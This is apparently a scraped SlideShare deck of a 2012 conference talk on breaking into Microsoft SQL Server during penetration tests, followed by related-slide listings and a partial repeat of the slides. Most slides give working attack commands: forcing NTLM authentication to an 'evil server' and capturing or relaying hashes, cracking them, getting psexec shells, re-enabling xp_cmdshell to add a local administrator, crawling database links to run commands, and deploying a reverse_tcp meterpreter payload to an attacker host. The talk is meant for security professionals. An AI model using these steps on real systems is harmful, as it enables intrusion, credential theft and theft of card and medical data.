SlideShare a Scribd company logo
SQL Server Exploitation, Escalation, and Pilfering
                                  AppSec USA 2012

Authors:
Antti Rantasaari
Scott Sutherland
Who are we?

Antti Rantasaari

Scott Sutherland (@_nullbind)

What we do…
• Security consultants at NetSPI
• Pentesters
   ‒ Network
   ‒ Web
   ‒ Thick
• Researchers, bloggers, etc
• Pinball enthusiasts
What are we going to cover?

1.   Database entry points
2.   Domain user  Database user
3.   Database user  OS admin
4.   OS admin  Database admin
5.   Database admin  OS admin
6.   Finding sensitive data
7.   Escalation: Service accounts
8.   Escalation: Database Link Crawling
9.   Conclusions
Why target SQL Servers?

Pentest Goal = Data Access
• It’s deployed everywhere
• Very few “exploits”, but it’s commonly
  misconfigured
• Integrated with Windows and Active
  Directory authentication
• Easy and stable to exploit
Why develop Metasploit tools?

•   I suck at programming
•   Easy to use framework
•   Huge community support
•   Easy management of code (GitHub)
•   Easy distribution of code




http://www.metasploit.com/

https://github.com/rapid7/metasploit-framework
Let’s get started!
Entry Points: Summary
asef
  Unauthenticated Options
  • SQL injections
  • Weak passwords

  Authenticated Options (usually)
  • Other database servers
  • Unencrypted connection
    strings:
     ‒ Files
     ‒ Registry
     ‒ Network
  • ODBC connections
  • Client tools (priv inheritance)
DOMAIN user  DATABASE user
                  Privilege Inheritance
Privilege Inheritance: Summary

The “Domains Users” group is often
provided privileges to login into SQL
Servers…

Evil users just need to:
• Find SQL Servers
• Verify Access
• Attack!
Privilege Inheritance: Find SQL Servers

 Easy SQL Server Discovery = SQLPing v3.0




   http://www.sqlsecurity.com/dotnetnuke/uploads/sqlping3.zip
Privilege Inheritance: Find SQL Servers

      Finding SQL Servers with osql:
Privilege Inheritance: Verify Access
Test current user’s access to SQL Servers with osql:

 FOR /F “tokens=*” %i in (‘type sqlservers.txt’) do
   osql –E –S %i –Q “select ‘I have access
   to:’+@@servername”
Privilege Inheritance: Verify Access
Test alternative user’s access to the SQL Servers with
         the MSSQL_SQL Metasploit module:
   msfconsole
   use auxiliary/admin/mssql/mssql_sql
   set RHOST <IP RANGE>
   set RPORT <port>
   set USE_WINDOWS_AUTHENT true
   set DOMAIN <domain>
   set USERNAME <user>
   set PASSWORD <password>
   Set SQL <query>
   run

       http://www.metasploit.com/modules/auxiliary/admin/mssql/mssql_sql
Privilege Inheritance: Verify Access
asef
Privilege Inheritance: Verify Access
asef
DATABASE USER  OS ADMIN
                SMB Capture/Relay
SMB Capture/Relay: Summary
 SQL Server supports functions that can access files via UNC
 paths using the privileges of the SQL Server service account.

 High level authentication process:
SMB Capture/Relay: Summary

  Stored procedures with UNC support:
      ‒ *xp_dirtree
      ‒ *xp_fileexist
      ‒ xp_getfiledetails

  Possible SMB authentication attacks:

       Service Account       Network Communication SMB Capture SMB Relay

          LocalSystem           Computer Account          Yes          No

        NetworkService          Computer Account          Yes          No

      *Local Administrator      Local Administrator       Yes          Yes

         *Domain User              Domain User            Yes          Yes

        *Domain Admin             Domain Admin            Yes          Yes

   http://erpscan.com/press-center/smbrelay-bible-2-smbrelay-by-ms-sql-server/
http://www.netspi.com/blog/2010/07/01/invisible-threats-insecure-service-accounts/
SMB Capture: Diagram
SMB Capture: Start Sniffing for Hashes

 Start Metasploit SMB capture module on your
 evil server to capture seeded password hashes:
  msfconsole
  use auxiliary/server/capture/smb
  set CAINPWFILE /root/cain_hashes.txt
  set JOHNPWFILE /root/john_hashes.txt
  exploit




     http://www.metasploit.com/modules/auxiliary/server/capture/smb
http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
SMB Capture: Force MS SQL to Auth

Force SQL Server to authenticate with the modules:
MSSQL_NTLM_STEALER or MSSQL_NTLM_STEALER_SQLI

msfconsole
use auxiliary/admin/mssql/mssql_ntlm_stealer
set USE_WINDOWS_AUTHENT true
set DOMAIN <domain>
set USERNAME <user>
set PASSWORD <password>
set RHOSTS <IP RANGE>
set RPORT <port>
Set SMBPROXY <evil server>
run
SMB Capture: Obtain Seeded Hashes

 Obtaining service account hashes from the SQL
 Server should look something like this:
  DOMAIN: DEMO
  USER: serviceaccount

  LMHASH:5e17a06b538a42ae82273227fd61a5952f85252cc731bb25

  NTHASH:763aa16c6882cb1b99d40dfc337b69e7e424d6524a91c03e




     http://www.metasploit.com/modules/auxiliary/server/capture/smb
http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
SMB Capture: Crack Hashes

 1. Crack first half of recovered LANMAN hash
    with seeded half LM Rainbow Tables:
        rcracki_mt -h 5e17a06b538a42ae ./halflmchall


 2. Crack the second half with john the ripper
    to obtain case sensitive NTLM password.
        perl netntlm.pl --seed GPP4H1 --file
         /root/john_hashes.txt



     http://www.metasploit.com/modules/auxiliary/server/capture/smb
http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
SMB Relay: Diagram

Very high level overview:




          http://en.wikipedia.org/wiki/SMBRelay
SMB Relay: Setup SMBProxy for Relay

SMB Relay to 3rd Party with the SMB_Relay
Metasploit exploit module:
msfconsole
use exploit/windows/smb/smb_relay
set SMBHOST <targetserver>
exploit

If the service account has the local admin
privileges on the remote system, then a shell
will be returned by the smb_relay module


 http://www.metasploit.com/modules/exploit/windows/smb/smb_relay
SMB Relay: Force MS SQL to Auth

Force SQL Server to authenticate with the modules
MSSQL_NTLM_STEALER or MSSQL_NTLM_STEALER_SQLI
 Msfconsole
 use auxiliary/admin/mssql/mssql_ntlm_stealer
 set USE_WINDOWS_AUTHENT true
 set DOMAIN <domain>
 set USERNAME <user>
 set PASSWORD <password>
 set RHOSTS <IP RANGE>
 set RPORT <port>
 Set SMBPROXY <evil server>
 run
SMB Relay: Get Meterpreter Shells
SMB Capture/Relay: Using PW or Shell

If meterpreter then:
• Type: shell
• Type: osql –E –Q “what ever you want”

If password:
• Sign in via RDP
• Open a cmd console
• osql –E –Q “what ever you want”
DEMO
Do a crazy dance!




BALLET = NOT CRAZY   DANCING FLY = TOTALLY CRAZY
OS ADMIN  DATABASE ADMIN
          SQL Server Local Authorization Bypass
Local Auth Bypass: Summary

How can we go from OS admin to DB
admin?
• SQL Server 2000 to 2008
  ‒ LocalSystem = Sysadmin privileges


• SQL Server 2012
  ‒ Must migrate to SQL Server service process
    for Sysadmin privileges
Local Auth Bypass: Summary



   Transparent Encryption
             =
       Mostly Useless
(unless local hard drive encryption is in place and key management is
                            done correctly)
Local Auth Bypass: Psexec

On SQL Server 2000 to 2008
Execute queries as sysadmin with osql:
psexec –s cmd.exe
osql –E –S “localhostsqlexpress” –Q “select
  is_srvrolemember(‘sysadmin’)”


Execute queries as sysadmin with SSMS:
psexec –i –s ssms



    http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
Local Auth Bypass: Get Shell

Obtain Meterpreter shell using the PSEXEC module
msfconsole
use exploit/windows/smb/psexec
set RHOST <targetserver>
set SMBDOMAIN .
set SMBUSER <user>
set SMBPASS <password>
exploit




  http://www.metasploit.com/modules/exploit/windows/smb/psexec
Local Auth Bypass: Get Sysadmin

     Create sysadmin in database using the Metasploit
     mssql_local_auth_bypass post module:

     In Meterpeter type “background” to return to
     msconsole. Then, in the msfconsole type:
      use post/windows/manage/mssql_local_auth_bypass
      set session <session>
      set DB_USERNAME <username>
      set DB_PASSWORD <password>
      exploit



http://www.metasploit.com/modules/post/windows/manage/mssql_local_auth_bypass
SQL Server Auth Bypass: Got Sysadmin
asef
Do a crazy whale dance!




To the left…   To the right…   Now dive!
DATABASE ADMIN  OS ADMIN
                   xp_cmdshell
XP_CMDSHELL: Summary




 XP_CMDSHELL = OS COMMAND EXEC



Yes. We know you already know this, but
            don’t forget…
XP_CMDSHELL: Re-Install

Re-install xp_cmdshell
EXEC master..sp_addextendedproc "xp_cmdshell",
  "C:Program FilesMicrosoft SQL
  ServerMSSQLBinnxplog70.dll";
XP_CMDSHELL: Re-Enable

Re-enable xp_cmdshell
sp_configure ‘show advanced options’, 1;
reconfigure;
go;

sp_configure ‘xp_cmdshell’, 1;
reconfigure;
go;
XP_CMDSHELL: Execute Commands

Add Local OS Administrator with
xp_cmdshell

EXEC master..xp_cmdshell ‘net user myadmin
  MyP@sword1’

EXEC master..xp_cmdshell ‘net localgroup administrators
  /add myadmin’
FINDING DATA
Finding Data: Summary

GOAL = Find sensitive data!

•   Credit cards

•   Social security number

•   Medical records
Finding Data: TSQL Script

Simple keywords search via TSQL!
EXEC master..sp_msforeachdb
'SELECT @@Servername as Server_Name,''[?]'' as
Database_name,Table_Name,Column_Name
FROM [?].INFORMATION_SCHEMA.COLUMNS WHERE
Column_Name LIKE ''%password%''
OR Column_Name LIKE ''%Credit%''
OR Column_Name LIKE ''%CCN%''
OR Column_Name LIKE ''%Account%''
OR Column_Name LIKE ''%Social%''
OR Column_Name LIKE ''%SSN%''
ORDER BY Table_name'
Finding Data: Metasploit Module

Database scraping with the
mssql_findandsampledata module!

Features
• Scan multiple servers
• Authenticate with local Windows, Domain
   or SQL credentials
• Sample data
• Number of records found
• Output to screen and CSV file

http://www.metasploit.com/modules/auxiliary/admin/mssql/mssql_findandsampledata
Finding Data: Metasploit Module

Launching mssql_findandsampledata:
msfconsole
use auxiliary/admin/mssql/mssql_findandsampledata
set RHOSTS <range>
set RPORT <port>
setg USE_WINDOWS_AUTHENT true
setg DOMAIN <CompanyDomain>
set USERNAME <username>
set PASSWORD <password>
set SAMPLE_SIZE <size>
set KEYWORDS credit|social|password
exploit
Finding Data: Module Output
asef
Finding Data: Demo




          DEMO
Do a crazy cat disco dance!
Escalation: Service Accounts
Shared Service Accounts: Summary

         XP_CMDSHELL
                +
     Shared Service Accounts
                +
             OSQL -E
               =
(more) Unauthorized DATA access
Shared Service Accounts: Diagram
asef
Shared Service Accounts: TSQL Script

XP_CMDSHELL + OSQL = MORE ACCESS!

EXEC master..xp_cmdshell ‘osql –E –S
 HVA –Q “select super.secret.data”’




More examples:
http://www.netspi.com/blog/2011/07/19/when-databases-attack-hacking-
with-the-osql-utility/
Escalation: Database Link Crawling
Database Link Crawling: Summary

Database Links
• Allow one database server to query another
• Often configured with excessive privileges
• Can be chained together
• Use openquery() to query linked servers
• Can be used to execute the infamous
  xp_cmdshell
• Tons of access, no credentials required (via SQL
  injection)
Database Link Crawling: Diagram
asef
Database Link Crawling: List Links

How do I list linked servers?
Two common options:
sp_linkedservers
and
SELECT srvname FROM master..sysservers
Database Link Crawling: List Links

How do I list linked servers on a linked server?
SELECT srvname FROM
openquery(DB1, 'select srvname FROM
master..sysservers')
Database Link Crawling: List Links

How do I list linked servers on the linked
server’s linked server?
SELECT srvname FROM
openquery(DB1,'SELECT srvname FROM
openquery(HVA,''SELECT srvname FROM
master..sysservers'')')
Database Link Crawling: You Get it!

….You get the point


You can follow links until you
run out 
Database Link Crawling: Exec Cmds

How do I run commands on a linked server?

SELECT * FROM
openquery(DB1,’SELECT * FROM
openquery(HVA,’’SELECT 1;exec xp_cmdshell ‘’’’ping
  192.168.1.1’’’’ ‘’)’)
Database Link Crawling: Modules

Two Modules
1. Direct connection
2. SQL Injection

Available for Download
• Not submitted to Metasploit trunk – Yet
• Downloads available from nullbind’s github
  ‒ mssql_linkcrawler.rb
  ‒ mssql_linkcrawler_sqli.rb
Database Link Crawling: Modules

• Features
  ‒ Crawl SQL Server database links
  ‒ Standard Crawl output
  ‒ Verbose Crawl output
  ‒ Output to CSV file
  ‒ Supports 32 and 64 bit Windows
  ‒ Global Metasploit payload deployment
  ‒ Targeted Metasploit payload deployment
  ‒ Payload deployment via powershell memory
    injection
Metasploit Module: Run multi/handler

Setup the multi/handler module:
use multi/handler
set payload
windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 443
set ExitOnSession false
exploit -j -z
Metasploit Module: Link Crawler

Setup the mssql_linkcrawler_sqli module:
use exploit/windows/mssql/mssql_linkcrawler_sqli
set GET_PATH /employee.asp?id=1;[SQLi];--
set type blind
set RHOST 192.168.1.100
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.130
set lport 443
set DisablePayloadHandler true
exploit
Database Link Crawling: Attack!
asef
Database Link Chaining: Demo




         DEMO
Do a crazy cat disco dance!




      Yes. It warrants 2 disco cats!
Database Link Chaining: Modules

Current Constraints
• Cannot crawl through SQL Server 2000
• Cannot enable xp_cmdshell through links
• Cannot deliver payloads to systems without
  powershell (at the moment)
• Currently, the module leaves a powershell
  process running on exit
• Currently, doesn’t allow arbitrary query
  execution on linked servers
Conclusions




      configure all accounts with

   LEAST PRIVILEGE
            system accounts
            service accounts
           database accounts
          application accounts
Conclusions



                always

    VALIDATE INPUT
               web apps
               thick apps
              mobile apps
              web services
Conclusions



              Configure

      SMB SIGNING
Conclusions



              don’t do

         DRUGS
Questions

Antti Rantasaari
Email: antti.rantasaari@netspi.com

Scott Sutherland
Email: scott.sutherland@netspi.com
Blog: http://www.netspi.com/blog/author/ssutherland/
Github: http://www.github.com/nullbind/
Twitter: @_nullbind


Presentation Slides
http://www.slideshare.net/nullbind/sql-serverexploitationescalationandpilferingapp-
secusa2012

More Related Content

What's hot (20)

PPTX
Session Hijacking
n|u - The Open Security Community
 
PDF
5 pin-diagram-of-8085-181203034237
sunilkumar4879
 
DOCX
Api testing bible using postman
Abhishek Saxena
 
PDF
API Security Best Practices & Guidelines
Prabath Siriwardena
 
PPT
E Mail & Spam Presentation
newsan2001
 
PDF
Alexei Vladishev - Zabbix - Monitoring Solution for Everyone
Zabbix
 
PPTX
Sql injection
Zidh
 
PDF
Web Application Security and Awareness
Abdul Rahman Sherzad
 
PDF
6 Reasons Why APIs Are Reshaping Your Business
Fabernovel
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
PPTX
API Model Canvas for successful API strategies and programs
3scale
 
PPTX
Rest API Security - A quick understanding of Rest API Security
Mohammed Fazuluddin
 
PDF
How to identify and prevent SQL injection
Eguardian Global Services
 
PPTX
Sql injection
Nuruzzaman Milon
 
PDF
Introduction to Web Application Penetration Testing
Netsparker
 
PDF
Programming tools for developers
BBVA API Market
 
PPTX
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
raj upadhyay
 
KEY
New relic
Pablo Molnar
 
PPTX
An introduction to denial of service attack
Mohammad Reza Mousavinasr
 
PDF
Nii sample pt_report
Chandan Bagai, GWAPT, CEHv8, CCNA
 
5 pin-diagram-of-8085-181203034237
sunilkumar4879
 
Api testing bible using postman
Abhishek Saxena
 
API Security Best Practices & Guidelines
Prabath Siriwardena
 
E Mail & Spam Presentation
newsan2001
 
Alexei Vladishev - Zabbix - Monitoring Solution for Everyone
Zabbix
 
Sql injection
Zidh
 
Web Application Security and Awareness
Abdul Rahman Sherzad
 
6 Reasons Why APIs Are Reshaping Your Business
Fabernovel
 
Vulnerabilities in modern web applications
Niyas Nazar
 
API Model Canvas for successful API strategies and programs
3scale
 
Rest API Security - A quick understanding of Rest API Security
Mohammed Fazuluddin
 
How to identify and prevent SQL injection
Eguardian Global Services
 
Sql injection
Nuruzzaman Milon
 
Introduction to Web Application Penetration Testing
Netsparker
 
Programming tools for developers
BBVA API Market
 
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
raj upadhyay
 
New relic
Pablo Molnar
 
An introduction to denial of service attack
Mohammad Reza Mousavinasr
 
Nii sample pt_report
Chandan Bagai, GWAPT, CEHv8, CCNA
 

Viewers also liked (6)

PPTX
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
PDF
WTF is Penetration Testing
Scott Sutherland
 
PPTX
Secure360 - Extracting Password from Windows
Scott Sutherland
 
PPTX
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
Scott Sutherland
 
PPT
SQL Server Security - Attack
webhostingguy
 
PPTX
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
Scott Sutherland
 
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
WTF is Penetration Testing
Scott Sutherland
 
Secure360 - Extracting Password from Windows
Scott Sutherland
 
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
Scott Sutherland
 
SQL Server Security - Attack
webhostingguy
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
Scott Sutherland
 
Ad

Similar to SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012 (20)

PDF
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
Scott Sutherland
 
PDF
Windows Attacks AT is the new black
Rob Fuller
 
PDF
Windows attacks - AT is the new black
Chris Gates
 
PPT
Architecting cloud
Tahsin Hasan
 
PDF
TrinityCore server install guide
Seungmin Shin
 
PPT
Mysql ppt
Sanmuga Nathan
 
PPTX
Drupal, Memcache and Solr on Windows
Alessandro Pilotti
 
ODP
Caching and tuning fun for high scalability
Wim Godden
 
PDF
Security features In MySQL 8.0
Mydbops
 
PPTX
2019 Blackhat Booth Presentation - PowerUpSQL
Scott Sutherland
 
PDF
Whitepaper MS SQL Server on Linux
Roger Eisentrager
 
ODP
Caching and tuning fun for high scalability
Wim Godden
 
PPTX
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
MongoDB
 
PDF
MySQL database replication
PoguttuezhiniVP
 
PDF
Writing & Sharing Great Modules - Puppet Camp Boston
Puppet
 
ODP
MySQL 101 PHPTek 2017
Dave Stokes
 
PDF
Aeon mike guide transparent ssl filtering
Conrad Cruz
 
PDF
Aeon mike guide transparent ssl filtering (1)
Conrad Cruz
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
Scott Sutherland
 
Windows Attacks AT is the new black
Rob Fuller
 
Windows attacks - AT is the new black
Chris Gates
 
Architecting cloud
Tahsin Hasan
 
TrinityCore server install guide
Seungmin Shin
 
Mysql ppt
Sanmuga Nathan
 
Drupal, Memcache and Solr on Windows
Alessandro Pilotti
 
Caching and tuning fun for high scalability
Wim Godden
 
Security features In MySQL 8.0
Mydbops
 
2019 Blackhat Booth Presentation - PowerUpSQL
Scott Sutherland
 
Whitepaper MS SQL Server on Linux
Roger Eisentrager
 
Caching and tuning fun for high scalability
Wim Godden
 
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
MongoDB
 
MySQL database replication
PoguttuezhiniVP
 
Writing & Sharing Great Modules - Puppet Camp Boston
Puppet
 
MySQL 101 PHPTek 2017
Dave Stokes
 
Aeon mike guide transparent ssl filtering
Conrad Cruz
 
Aeon mike guide transparent ssl filtering (1)
Conrad Cruz
 
Ad

More from Scott Sutherland (18)

PPTX
Hunting SMB Shares with Data, Graphs, Charts, and LLMs (SO-CON 2025)
Scott Sutherland
 
PPTX
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Scott Sutherland
 
PPTX
How to Build and Validate Ransomware Attack Detections (Secure360)
Scott Sutherland
 
PDF
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
Scott Sutherland
 
PPTX
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Scott Sutherland
 
PPTX
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
Scott Sutherland
 
PPTX
Beyond xp_cmdshell: Owning the Empire through SQL Server
Scott Sutherland
 
PPTX
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
PPTX
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
Scott Sutherland
 
PPTX
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
PDF
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
Scott Sutherland
 
PDF
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Scott Sutherland
 
PPTX
Secure360 - Attack All the Layers! Again!
Scott Sutherland
 
PPTX
WTF is Penetration Testing v.2
Scott Sutherland
 
PDF
Attack all the layers secure 360
Scott Sutherland
 
PDF
Declaration of malWARe
Scott Sutherland
 
PDF
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
PDF
Introduction to Windows Dictionary Attacks
Scott Sutherland
 
Hunting SMB Shares with Data, Graphs, Charts, and LLMs (SO-CON 2025)
Scott Sutherland
 
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Scott Sutherland
 
How to Build and Validate Ransomware Attack Detections (Secure360)
Scott Sutherland
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
Scott Sutherland
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Scott Sutherland
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
Scott Sutherland
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Scott Sutherland
 
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
Scott Sutherland
 
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
Scott Sutherland
 
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Scott Sutherland
 
Secure360 - Attack All the Layers! Again!
Scott Sutherland
 
WTF is Penetration Testing v.2
Scott Sutherland
 
Attack all the layers secure 360
Scott Sutherland
 
Declaration of malWARe
Scott Sutherland
 
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
Introduction to Windows Dictionary Attacks
Scott Sutherland
 

Recently uploaded (20)

PPTX
cloud computing vai.pptx for the project
vaibhavdobariyal79
 
PDF
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
PDF
RAT Builders - How to Catch Them All [DeepSec 2024]
malmoeb
 
PDF
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
PPTX
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
PDF
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PPTX
Simple and concise overview about Quantum computing..pptx
mughal641
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PDF
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PDF
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
PDF
introduction to computer hardware and sofeware
chauhanshraddha2007
 
PPTX
Introduction to Flutter by Ayush Desai.pptx
ayushdesai204
 
PPTX
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PDF
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
PDF
GDG Cloud Munich - Intro - Luiz Carneiro - #BuildWithAI - July - Abdel.pdf
Luiz Carneiro
 
PDF
Brief History of Internet - Early Days of Internet
sutharharshit158
 
cloud computing vai.pptx for the project
vaibhavdobariyal79
 
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
RAT Builders - How to Catch Them All [DeepSec 2024]
malmoeb
 
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
Simple and concise overview about Quantum computing..pptx
mughal641
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
introduction to computer hardware and sofeware
chauhanshraddha2007
 
Introduction to Flutter by Ayush Desai.pptx
ayushdesai204
 
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
GDG Cloud Munich - Intro - Luiz Carneiro - #BuildWithAI - July - Abdel.pdf
Luiz Carneiro
 
Brief History of Internet - Early Days of Internet
sutharharshit158
 

SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012

  • 1. SQL Server Exploitation, Escalation, and Pilfering AppSec USA 2012 Authors: Antti Rantasaari Scott Sutherland
  • 2. Who are we? Antti Rantasaari Scott Sutherland (@_nullbind) What we do… • Security consultants at NetSPI • Pentesters ‒ Network ‒ Web ‒ Thick • Researchers, bloggers, etc • Pinball enthusiasts
  • 3. What are we going to cover? 1. Database entry points 2. Domain user  Database user 3. Database user  OS admin 4. OS admin  Database admin 5. Database admin  OS admin 6. Finding sensitive data 7. Escalation: Service accounts 8. Escalation: Database Link Crawling 9. Conclusions
  • 4. Why target SQL Servers? Pentest Goal = Data Access • It’s deployed everywhere • Very few “exploits”, but it’s commonly misconfigured • Integrated with Windows and Active Directory authentication • Easy and stable to exploit
  • 5. Why develop Metasploit tools? • I suck at programming • Easy to use framework • Huge community support • Easy management of code (GitHub) • Easy distribution of code http://www.metasploit.com/ https://github.com/rapid7/metasploit-framework
  • 7. Entry Points: Summary asef Unauthenticated Options • SQL injections • Weak passwords Authenticated Options (usually) • Other database servers • Unencrypted connection strings: ‒ Files ‒ Registry ‒ Network • ODBC connections • Client tools (priv inheritance)
  • 8. DOMAIN user  DATABASE user Privilege Inheritance
  • 9. Privilege Inheritance: Summary The “Domains Users” group is often provided privileges to login into SQL Servers… Evil users just need to: • Find SQL Servers • Verify Access • Attack!
  • 10. Privilege Inheritance: Find SQL Servers Easy SQL Server Discovery = SQLPing v3.0 http://www.sqlsecurity.com/dotnetnuke/uploads/sqlping3.zip
  • 11. Privilege Inheritance: Find SQL Servers Finding SQL Servers with osql:
  • 12. Privilege Inheritance: Verify Access Test current user’s access to SQL Servers with osql: FOR /F “tokens=*” %i in (‘type sqlservers.txt’) do osql –E –S %i –Q “select ‘I have access to:’+@@servername”
  • 13. Privilege Inheritance: Verify Access Test alternative user’s access to the SQL Servers with the MSSQL_SQL Metasploit module: msfconsole use auxiliary/admin/mssql/mssql_sql set RHOST <IP RANGE> set RPORT <port> set USE_WINDOWS_AUTHENT true set DOMAIN <domain> set USERNAME <user> set PASSWORD <password> Set SQL <query> run http://www.metasploit.com/modules/auxiliary/admin/mssql/mssql_sql
  • 16. DATABASE USER  OS ADMIN SMB Capture/Relay
  • 17. SMB Capture/Relay: Summary SQL Server supports functions that can access files via UNC paths using the privileges of the SQL Server service account. High level authentication process:
  • 18. SMB Capture/Relay: Summary Stored procedures with UNC support: ‒ *xp_dirtree ‒ *xp_fileexist ‒ xp_getfiledetails Possible SMB authentication attacks: Service Account Network Communication SMB Capture SMB Relay LocalSystem Computer Account Yes No NetworkService Computer Account Yes No *Local Administrator Local Administrator Yes Yes *Domain User Domain User Yes Yes *Domain Admin Domain Admin Yes Yes http://erpscan.com/press-center/smbrelay-bible-2-smbrelay-by-ms-sql-server/ http://www.netspi.com/blog/2010/07/01/invisible-threats-insecure-service-accounts/
  • 20. SMB Capture: Start Sniffing for Hashes Start Metasploit SMB capture module on your evil server to capture seeded password hashes: msfconsole use auxiliary/server/capture/smb set CAINPWFILE /root/cain_hashes.txt set JOHNPWFILE /root/john_hashes.txt exploit http://www.metasploit.com/modules/auxiliary/server/capture/smb http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
  • 21. SMB Capture: Force MS SQL to Auth Force SQL Server to authenticate with the modules: MSSQL_NTLM_STEALER or MSSQL_NTLM_STEALER_SQLI msfconsole use auxiliary/admin/mssql/mssql_ntlm_stealer set USE_WINDOWS_AUTHENT true set DOMAIN <domain> set USERNAME <user> set PASSWORD <password> set RHOSTS <IP RANGE> set RPORT <port> Set SMBPROXY <evil server> run
